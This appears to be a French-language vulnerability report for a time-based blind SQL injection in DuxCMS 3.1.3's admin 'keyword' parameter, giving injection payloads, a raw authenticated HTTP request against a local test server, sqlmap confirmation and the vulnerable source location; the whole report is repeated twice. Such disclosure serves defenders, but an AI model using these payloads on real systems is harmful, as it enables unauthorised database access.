
Exploit de preuve de concept pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans DuxCMS3.1.3, ciblant le paramètre 'keyword' avec des requêtes authentifiées et l'intégration de sqlmap.
Adresse du projet : ****
Travail préparatoire :
Connectez-vous à l'interface d'administration - obtenez le cookie
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Paramètre de la vulnérabilité : keyword
payload : %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Si l'injection réussit, le délai est supérieur à une seconde ; sinon, il n'y a aucun délai.

Vérification avec sqlmap :
Un cookie est requis.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Le nom de la base de données actuellement utilisée a été obtenu avec succès. Cette vulnérabilité existe.
La recherche à partir du paramètre d'injection : keyword permet de localiser le point d'appel.
app/system/admin/SystemExtendAdmin.php
Ligne : 42.

like est utilisé pour la correspondance floue sans filtrer $value, ce qui introduit la vulnérabilité dans la requête.
En saisissant : and(select*from(select sleep(3))a//union//select 1)=

Comme le montre la figure ci-dessus : le paramètre $value est obtenu à la ligne 29 via $pageParams = request();, puis à la ligne 32, $pageParams[$key] est décodé avec urldecode() pour obtenir notre requête SQL malveillante. Aucune mesure de défense n'est en place.
Le payload est donc directement concaténé.

Après exécution, la requête SQL complète est :
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Travail préparatoire :
Connectez-vous à l'interface d'administration - obtenez le cookie.
Paramètre de la vulnérabilité : keyword
payload : %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Si l'injection réussit, le délai est supérieur à une seconde ; sinon, il n'y a aucun délai.

Vérification avec sqlmap :
Un cookie est requis.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Le nom de la base de données actuellement utilisée a été obtenu avec succès.
Cette vulnérabilité existe.
La recherche à partir du paramètre d'injection : keyword permet de localiser le point d'appel.
App/system/admin/SystemExtendAdmin.php.
Ligne 42.

La requête présente une vulnérabilité car elle utilise like pour la correspondance floue et ne filtre pas $value.
En saisissant : and (select*from (select sleep (3)) a//union//select 1) =

Comme le montre la figure ci-dessus : le paramètre $value est obtenu à la ligne 29 via $pageParams = request();, puis à la ligne 32, $pageParams[$key] est décodé avec urldecode() pour obtenir notre requête SQL malveillante.
Aucune mesure de défense n'est en place.
Ainsi, le payload est directement concaténé.

Après exécution, la requête SQL complète est :
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')